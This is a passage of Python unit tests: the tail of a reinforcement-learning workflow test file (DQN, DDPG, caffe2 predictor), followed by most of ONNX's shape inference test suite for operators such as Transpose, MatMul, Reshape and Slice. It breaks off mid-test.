[{}] test_action_features = [{"4": 0.0, "5": 1.0}] q_values = predictor.predict( test_float_state_features, test_int_state_features, test_action_features ) assert len(q_values[0].keys()) == 1 def test_parametric_dqn_workflow(self): self._test_parametric_dqn_workflow() @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_parametric_dqn_workflow_gpu(self): self._test_parametric_dqn_workflow(use_gpu=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_parametric_dqn_workflow_all_gpus(self): self._test_parametric_dqn_workflow(use_gpu=True, use_all_avail_gpus=True) def _test_ddpg_workflow(self, use_gpu=False, use_all_avail_gpus=False): """Run DDPG workflow to ensure no crashes, algorithm correctness not tested here.""" with tempfile.TemporaryDirectory() as tmpdirname: params = { "training_data_path": os.path.join( curr_dir, "test_data/continuous_action/pendulum_training.json.bz2" ), "eval_data_path": os.path.join( curr_dir, "test_data/continuous_action/pendulum_eval.json.bz2" ), "state_norm_data_path": os.path.join( curr_dir, "test_data/continuous_action/state_features_norm.json" ), "action_norm_data_path": os.path.join( curr_dir, "test_data/continuous_action/action_norm.json" ), "model_output_path": tmpdirname, "use_gpu": use_gpu, "use_all_avail_gpus": use_all_avail_gpus, "epochs": 1, "rl": {}, "rainbow": {}, "shared_training": {"minibatch_size": 1024}, "actor_training": {}, "critic_training": {}, } predictor = ddpg_workflow.train_network(params) test_float_state_features = [{"0": 1.0, "1": 1.0, "2": 1.0, "3": 1.0}] test_int_state_features = [{}] action = predictor.actor_prediction( test_float_state_features, test_int_state_features ) assert len(action) == 1 def test_ddpg_workflow(self): self._test_ddpg_workflow() @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_ddpg_workflow_gpu(self): self._test_ddpg_workflow(use_gpu=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_ddpg_workflow_all_gpus(self): self._test_ddpg_workflow(use_gpu=True, use_all_avail_gpus=True) def test_read_c2_model_from_file(self): """Test reading output caffe2 model from file and using it for inference.""" path = os.path.join(curr_dir, "test_data/discrete_action/example_predictor.c2") predictor = DQNPredictor.load(path, "minidb", int_features=False) test_float_state_features = [{"0": 1.0, "1": 1.0, "2": 1.0, "3": 1.0}] q_values = predictor.predict(test_float_state_features) assert len(q_values[0].keys()) == 2

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6a5b01d7cd6d186cd3eeaeb0b688b99aa3b3dafe

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Python

onnx/test/shape_inference_test.py

jaeyounkim/onnx

aa0f464044b1badeb27d2ef86f96066f9bed97a9

[ "Apache-2.0" ]

null

onnx/test/shape_inference_test.py

jaeyounkim/onnx

aa0f464044b1badeb27d2ef86f96066f9bed97a9

[ "Apache-2.0" ]

null

onnx/test/shape_inference_test.py

jaeyounkim/onnx

aa0f464044b1badeb27d2ef86f96066f9bed97a9

[ "Apache-2.0" ]

null

# SPDX-License-Identifier: Apache-2.0 from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from onnx import checker, helper, TensorProto, NodeProto, GraphProto, ValueInfoProto, ModelProto, ONNX_ML, SparseTensorProto from onnx.defs import ONNX_DOMAIN, ONNX_ML_DOMAIN, AI_ONNX_PREVIEW_TRAINING_DOMAIN from onnx.helper import make_node, make_tensor, make_tensor_value_info, make_empty_tensor_value_info, make_opsetid, make_sequence_value_info from typing import Sequence, Union, Text, Tuple, List, Any, Optional import onnx.shape_inference import unittest import os import numpy as np # type: ignore class TestShapeInference(unittest.TestCase): def _make_graph(self, seed_values, # type: Sequence[Union[Text, Tuple[Text, TensorProto.DataType, Any]]] nodes, # type: List[NodeProto] value_info, # type: List[ValueInfoProto] initializer=None # type: Optional[Sequence[TensorProto]] ): # type: (...) -> GraphProto if initializer is None: initializer = [] names_in_initializer = set(x.name for x in initializer) input_value_infos = [] # If the starting values are not also initializers, # introduce the starting values as the output of reshape, # so that the sizes are guaranteed to be unknown for seed_value in seed_values: if isinstance(seed_value, tuple): seed_name, proto_type = seed_value[:2] seed_value_info = make_tensor_value_info(*seed_value) else: seed_name, proto_type = seed_value, TensorProto.UNDEFINED seed_value_info = make_empty_tensor_value_info(seed_value) if seed_name in names_in_initializer: input_value_infos.append(seed_value_info) else: value_info.append(seed_value_info) input_value_infos.append(make_tensor_value_info('SEED_' + seed_name, proto_type, ())) input_value_infos.append(make_tensor_value_info('UNKNOWN_SHAPE_' + seed_name, TensorProto.INT64, ())) nodes[:0] = [make_node("Reshape", ['SEED_' + seed_name, 'UNKNOWN_SHAPE_' + seed_name], [seed_name])] return helper.make_graph(nodes, "test", input_value_infos, [], initializer=initializer, value_info=value_info) def _inferred(self, graph, **kwargs): # type: (GraphProto, **Any) -> ModelProto kwargs[str('producer_name')] = 'onnx-test' orig_model = helper.make_model(graph, **kwargs) inferred_model = onnx.shape_inference.infer_shapes(orig_model, strict_mode=True) checker.check_model(inferred_model) return inferred_model def _assert_inferred(self, graph, vis, **kwargs): # type: (GraphProto, List[ValueInfoProto], **Any) -> None names_in_vis = set(x.name for x in vis) vis = list(x for x in graph.value_info if x.name not in names_in_vis) + vis inferred_model = self._inferred(graph, **kwargs) inferred_vis = list(inferred_model.graph.value_info) vis = list(sorted(vis, key=lambda x: x.name)) inferred_vis = list(sorted(inferred_vis, key=lambda x: x.name)) if vis == inferred_vis: return # otherwise some custom logic to give a nicer diff vis_names = set(x.name for x in vis) inferred_vis_names = set(x.name for x in inferred_vis) assert vis_names == inferred_vis_names, (vis_names, inferred_vis_names) for vi, inferred_vi in zip(vis, inferred_vis): assert vi == inferred_vi, '\n%s\n%s\n' % (vi, inferred_vi) assert False def test_empty_graph(self): # type: () -> None graph = self._make_graph( ['y'], [], []) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def _identity_prop(self, op, **kwargs): # type: (Text, **Any) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5))], [make_node(op, 'x', 'y', **kwargs)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (30, 4, 5))]) def test_transpose(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node("Transpose", ["X"], ["Y"], perm=[1, 0, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (3, 2, 4))]) def test_transpose_preexisting(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node("Transpose", ["X"], ["Y"], perm=[1, 0, 2])], [make_tensor_value_info("Y", TensorProto.FLOAT, None)]) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (3, 2, 4))]) def test_transpose_partial(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node("Transpose", ["X"], ["Y"], perm=[1, 0, 2])], [make_tensor_value_info("Y", TensorProto.UNDEFINED, (3, "a", "b"))]) # type: ignore self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (3, 2, 4))]) def test_transpose_preexisting_incorrect_shape(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node("Transpose", ["X"], ["Y"], perm=[1, 0, 2])], [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 5, 5))]) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def test_transpose_preexisting_incorrect_type(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node("Transpose", ["X"], ["Y"], perm=[1, 0, 2])], [make_tensor_value_info("Y", TensorProto.STRING, (3, 2, 4))]) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def _make_matmul_test_all_dims_known(self, shape1, shape2): # type: (Sequence[int], Sequence[int]) -> None expected_out_shape = np.matmul(np.arange(np.product(shape1)).reshape(shape1), np.arange(np.product(shape2)).reshape(shape2)).shape graph = self._make_graph( [('x', TensorProto.FLOAT, shape1), ('y', TensorProto.FLOAT, shape2)], [make_node('MatMul', ['x', 'y'], ['z'])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, expected_out_shape)]) def test_matmul_all_dims_known(self): # type: () -> None self._make_matmul_test_all_dims_known((2,), (2,)) self._make_matmul_test_all_dims_known((4, 2), (2, 4)) self._make_matmul_test_all_dims_known((5, 2), (2, 4)) self._make_matmul_test_all_dims_known((5, 2), (2, 1)) self._make_matmul_test_all_dims_known((1, 2), (2, 3)) self._make_matmul_test_all_dims_known((2,), (2, 3)) self._make_matmul_test_all_dims_known((4, 2), (2,)) self._make_matmul_test_all_dims_known((1, 4, 2), (3, 2, 3)) self._make_matmul_test_all_dims_known((3, 4, 2), (3, 2, 3)) self._make_matmul_test_all_dims_known((5, 1, 4, 2), (1, 3, 2, 3)) self._make_matmul_test_all_dims_known((4, 2), (3, 2, 3)) def _make_matmul_test_allow_unknown(self, shape1, shape2, expected_out_shape): # type: (Any, Any, Any) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, shape1), ('y', TensorProto.FLOAT, shape2)], [make_node('MatMul', ['x', 'y'], ['z'])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, expected_out_shape)]) def test_matmul_allow_unknown(self): # type: () -> None self._make_matmul_test_allow_unknown((None,), (None,), ()) self._make_matmul_test_allow_unknown((3,), (None,), ()) self._make_matmul_test_allow_unknown((2,), (2, "a"), ("a",)) self._make_matmul_test_allow_unknown((4, 2), (2, "a"), (4, "a")) self._make_matmul_test_allow_unknown((4, None), (2, "a"), (4, "a")) self._make_matmul_test_allow_unknown((4, None), (None, "a"), (4, "a")) self._make_matmul_test_allow_unknown((1, 4, 2), ("a", 2, 5), ("a", 4, 5)) self._make_matmul_test_allow_unknown((1, 3, 4, 2), ("a", 2, 5), (1, 3, 4, 5)) self._make_matmul_test_allow_unknown((3,), None, None) self._make_matmul_test_allow_unknown(None, None, None) def test_cast(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 4, 3))], [make_node("Cast", ["x"], ["y"], to=TensorProto.UINT8)], []) self._assert_inferred(graph, [make_tensor_value_info("y", TensorProto.UINT8, (2, 4, 3))]) def test_concat(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 4, 3)), ("y", TensorProto.FLOAT, (7, 4, 3))], [make_node("Concat", ['x', 'y'], ['z'], axis=0)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (9, 4, 3))]) def test_concat_missing_shape(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, (2, 4, 3)), "y", ("z", TensorProto.FLOAT, (None, None, None))], [make_node("Concat", ['x', 'y', 'z'], ['out'], axis=0)], []) self.assertRaises(onnx.shape_inference.InferenceError, self._inferred, graph) def test_concat_3d_axis_2(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 2, 2)), ('y', TensorProto.FLOAT, (2, 2, 2))], [make_node('Concat', ['x', 'y'], ['z'], axis=2)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 2, 4))]) def test_concat_param(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, ("a", 2)), ("y", TensorProto.FLOAT, ("a", 3))], [make_node("Concat", ['x', 'y'], ['z'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ("a", 5))]) def test_concat_param_single_input(self): # type: () -> None graph = self._make_graph( [("x", TensorProto.FLOAT, ("a", 2))], [make_node("Concat", ['x'], ['z'], axis=0)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, ("a", 2))]) def test_reshape_dynamic_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (2, 4, 3)), ('shape', TensorProto.INT64, (2,))], [make_node("Reshape", ['x', 'shape'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, None)]) def test_reshape_static_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (2, 4, 3)), ('shape', TensorProto.INT64, (2,))], [make_node("Reshape", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (2,), (3, 8))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (3, 8))]) def test_reshape_static_shape_inferred(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (2, 4, 3)), ('shape', TensorProto.INT64, (3,))], [make_node("Reshape", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (3,), (0, 3, -1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (2, 3, 4))]) def test_reshape_static_shape_zero(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (1, 1, 1)), ('shape', TensorProto.INT64, (3,))], [make_node("Reshape", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (3,), (0, 1, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (1, 1, 1))]) def test_reshape_static_shape_allowzero(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (1, 0, 0)), ('shape', TensorProto.INT64, (3,))], [make_node("Reshape", ['x', 'shape'], ['y'], allowzero=1)], [], initializer=[make_tensor('shape', TensorProto.INT64, (3,), (0, 1, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.UINT8, (0, 1, 1))]) def test_reshape_static_shape_constant(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT8, (2, 4, 3))], [make_node("Constant", [], ['shape'], value=make_tensor('shape', TensorProto.INT64, (2,), (3, 8))), make_node("Reshape", ['x', 'shape'], ['y'])], []) self._assert_inferred(graph, [ make_tensor_value_info('shape', TensorProto.INT64, (2,)), make_tensor_value_info('y', TensorProto.UINT8, (3, 8))]) def test_upsample(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (2, 4, 3, 5)), ('scales', TensorProto.FLOAT, (4,))], [make_node("Upsample", ['x', 'scales'], ['y'])], [], initializer=[make_tensor('scales', TensorProto.FLOAT, (4,), (1.0, 1.1, 1.3, 1.9))]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 4, 3, 9))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_upsample_raw_data(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (2, 4, 3, 5)), ('scales', TensorProto.FLOAT, (4,))], [make_node("Upsample", ['x', 'scales'], ['y'])], [], initializer=[make_tensor('scales', TensorProto.FLOAT, (4,), vals=np.array([1.0, 1.1, 1.3, 1.9], dtype='<f4').tobytes(), raw=True)]) # Feed raw bytes (force little endian ordering like onnx standard) for test purpose self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 4, 3, 9))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 9)]) def test_upsample_raw_data_v7(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (1, 3, 4, 5))], [make_node("Upsample", ['x'], ['y'], scales=[2.0, 1.1, 2.3, 1.9])], []) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 3, 9, 9))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 7)]) def test_expand(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (3, 1)), ('shape', TensorProto.INT64, (3,))], [make_node("Expand", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (3,), (2, 1, 6))]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 3, 6))]) def test_expand_scalar_input(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, ()), ('shape', TensorProto.INT64, (2,))], [make_node("Expand", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (2,), (4, 8))]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (4, 8))]) def test_expand_raw_data(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (3, 1)), ('shape', TensorProto.INT64, (2,))], [make_node("Expand", ['x', 'shape'], ['y'])], [], initializer=[make_tensor('shape', TensorProto.INT64, (2,), vals=np.array([3, 4], dtype='<i8').tobytes(), raw=True)]) # Feed raw bytes (force little endian ordering like onnx standard) for test purpose self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (3, 4))]) def test_resize_size(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (2, 4, 3, 5)), ('roi', TensorProto.FLOAT, (8,)), ('scales', TensorProto.FLOAT, (4,)), ('sizes', TensorProto.INT64, (4,))], [make_node("Resize", ['x', 'roi', 'scales', 'sizes'], ['y'])], [], initializer=[make_tensor('sizes', TensorProto.INT64, (4,), (3, 5, 6, 7))]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (3, 5, 6, 7))]) def test_resize_scale(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (2, 4, 3, 5)), ('roi', TensorProto.FLOAT, (8,)), ('scales', TensorProto.FLOAT, (4,))], [make_node("Resize", ['x', 'roi', 'scales'], ['y'])], [], initializer=[make_tensor('scales', TensorProto.FLOAT, (4,), (1.0, 1.1, 1.3, 1.9))]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 4, 3, 9))]) def test_resize_scale_raw_data(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.INT32, (1, 3, 4, 5)), ('roi', TensorProto.FLOAT, (8,)), ('scales', TensorProto.FLOAT, (4,))], [make_node("Resize", ['x', 'roi', 'scales'], ['y'])], [], initializer=[make_tensor('scales', TensorProto.FLOAT, (4,), vals=np.array([2.0, 1.1, 2.3, 1.9], dtype='<f4').tobytes(), raw=True)]) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.INT32, (2, 3, 9, 9))]) def test_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 4, 3))], [make_node("Shape", ['x'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (3,))]) def test_size(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 4, 3))], [make_node("Size", ['x'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, ())]) def test_gather(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 3)), ('i', TensorProto.INT64, (2,))], [make_node("Gather", ['x', 'i'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 3))]) # type: ignore def test_gather_axis1(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 3, 5)), ('i', TensorProto.INT64, (1, 2))], [make_node("Gather", ['x', 'i'], ['y'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (4, 1, 2, 5))]) # type: ignore def test_gather_into_scalar(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3,)), ('i', TensorProto.INT64, ())], [make_node("Gather", ['x', 'i'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, ())]) def test_gather_elements(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 2)), ('i', TensorProto.INT64, (2, 2))], [make_node("GatherElements", ['x', 'i'], ['y'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 2))]) # type: ignore def test_gather_elements_axis0(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 3)), ('i', TensorProto.INT64, (2, 3))], [make_node("GatherElements", ['x', 'i'], ['y'], axis=0)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 3))]) # type: ignore def test_scatter(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 3)), ('i', TensorProto.INT64, (2, 3)), ('u', TensorProto.FLOAT, (2, 3))], [make_node("Scatter", ['x', 'i', 'u'], ['y'])], []) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 3))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 10)]) # type: ignore def test_scatter_axis1(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, 5)), ('i', TensorProto.INT64, (1, 2)), ('u', TensorProto.FLOAT, (1, 2))], [make_node("Scatter", ['x', 'i', 'u'], ['y'], axis=1)], []) self._assert_inferred( graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 5))], opset_imports=[helper.make_opsetid(ONNX_DOMAIN, 10)]) # type: ignore def test_scatter_elements(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 3)), ('i', TensorProto.INT64, (2, 3)), ('u', TensorProto.FLOAT, (2, 3))], [make_node("ScatterElements", ['x', 'i', 'u'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 3))]) # type: ignore def test_scatter_elements_axis1(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, 5)), ('i', TensorProto.INT64, (1, 2)), ('u', TensorProto.FLOAT, (1, 2))], [make_node("ScatterElements", ['x', 'i', 'u'], ['y'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 5))]) # type: ignore def test_scatternd(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('indices', TensorProto.INT64, (3, 3, 2)), ('updates', TensorProto.FLOAT, (3, 3, 6))], [make_node("ScatterND", ['x', 'indices', 'updates'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (4, 5, 6))]) # type: ignore def test_scatternd_noshape(self): # type: () -> None # The shape of 'x_reshaped' cannot be inferred, since it is the output of a dynamic reshape. # Thus the shape of 'y' is also None. graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6)), ('indices', TensorProto.INT64, (3, 3, 2)), ('updates', TensorProto.FLOAT, (3, 3, 6)), ('shape', TensorProto.INT64, (2,))], [make_node("Reshape", ['x', 'shape'], ['x_reshaped']), make_node("ScatterND", ['x_reshaped', 'indices', 'updates'], ['y'])], []) self._assert_inferred(graph, [ make_tensor_value_info('x_reshaped', TensorProto.FLOAT, None), make_tensor_value_info('y', TensorProto.FLOAT, None)]) # type: ignore def test_squeeze(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, 3, 1, 1, 2, 1)), ('axes', TensorProto.INT64, (4,))], [make_node('Squeeze', ['x', 'axes'], 'y')], [], initializer=[make_tensor('axes', TensorProto.INT64, (4,), (0, 2, 3, 5))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 2))]) def test_unsqueeze_regular(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('axes', TensorProto.INT64, (4,))], [make_node('Unsqueeze', ['x', 'axes'], 'y')], [], initializer=[make_tensor('axes', TensorProto.INT64, (4,), (0, 1, 3, 5))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 1, 3, 1, 2, 1))]) def test_unsqueeze_unsorted_axes(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5)), ('axes', TensorProto.INT64, (2,))], [make_node('Unsqueeze', ['x', 'axes'], 'y')], [], initializer=[make_tensor('axes', TensorProto.INT64, (2,), (4, 0))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 3, 4, 5, 1))]) def test_unsqueeze_negative_axes(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5)), ('axes', TensorProto.INT64, (2,))], [make_node('Unsqueeze', ['x', 'axes'], 'y')], [], initializer=[make_tensor('axes', TensorProto.INT64, (2,), (0, -1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 3, 4, 5, 1))]) def test_slice_without_input_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (1,)), ('ends', TensorProto.INT64, (1,))], [make_node('Slice', ['x', 'starts', 'ends'], ['y'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, None)]) def test_slice_with_input_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2, )), ('ends', TensorProto.INT64, (2, ))], [make_node('Slice', ['x', 'starts', 'ends'], ['y'])], [], initializer=[make_tensor('starts', TensorProto.INT64, (2, ), vals=np.array([1, 0], dtype='<i8').tobytes(), raw=True), # Feed raw bytes (force little endian ordering like onnx standard) for test purpose make_tensor('ends', TensorProto.INT64, (2, ), (2, 2))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 2))]) def test_slice_with_input_shape_containing_dim_params(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (1, 'a', 1)), ('starts', TensorProto.INT64, (3,)), ('ends', TensorProto.INT64, (3,))], [make_node('Slice', ['x', 'starts', 'ends'], ['y'])], [], initializer=[make_tensor('starts', TensorProto.INT64, (3,), (0, 0, 0)), make_tensor('ends', TensorProto.INT64, (3,), (1, 1, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, None, 1))]) # type: ignore def test_slice_with_input_shape_steps(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 6, 7)), ('starts', TensorProto.INT64, (3,)), ('ends', TensorProto.INT64, (3,)), ('axes', TensorProto.INT64, (None)), ('steps', TensorProto.INT64, (3,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes', 'steps'], ['y'])], [], initializer=[make_tensor('starts', TensorProto.INT64, (3,), (1, 0, 0)), make_tensor('ends', TensorProto.INT64, (3,), (2, 6, 6)), make_tensor('steps', TensorProto.INT64, (3,), (1, 4, 3))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 2, 2))]) def test_slice_with_input_shape_axes(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 6, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,)), ('steps', TensorProto.INT64, (None))], [make_node('Slice', ['x', 'starts', 'ends', 'axes', 'steps'], ['y'])], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 0)), make_tensor('ends', TensorProto.INT64, (2,), (2, 2)), make_tensor('axes', TensorProto.INT64, (2,), (0, 2))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 6, 2))]) def test_slice_unsorted_axes(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 0)), make_tensor('ends', TensorProto.INT64, (2,), (2, 2)), make_tensor('axes', TensorProto.INT64, (2,), (1, 0))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 1))]) # can handle unsorted axes def test_slice_giant_number(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 0)), make_tensor('ends', TensorProto.INT64, (2,), (200, 22000)), make_tensor('axes', TensorProto.INT64, (2,), (0, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 2))]) def test_slice_giant_step(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,)), ('steps', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes', 'steps'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 0)), make_tensor('ends', TensorProto.INT64, (2,), (200, 200)), make_tensor('axes', TensorProto.INT64, (2,), (0, 1)), make_tensor('steps', TensorProto.INT64, (2,), (1, 200))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 1))]) def test_slice_negative_end(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 0)), make_tensor('ends', TensorProto.INT64, (2,), (200, -1)), # negative end means begin from end of a dimension (here end = 2 - 1 = 1) make_tensor('axes', TensorProto.INT64, (2,), (0, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 1))]) # type: ignore def test_slice_negative_start(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 2)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, -2)), # negative start means begin from end of a dimension (here end = 2 - 2 = 0) make_tensor('ends', 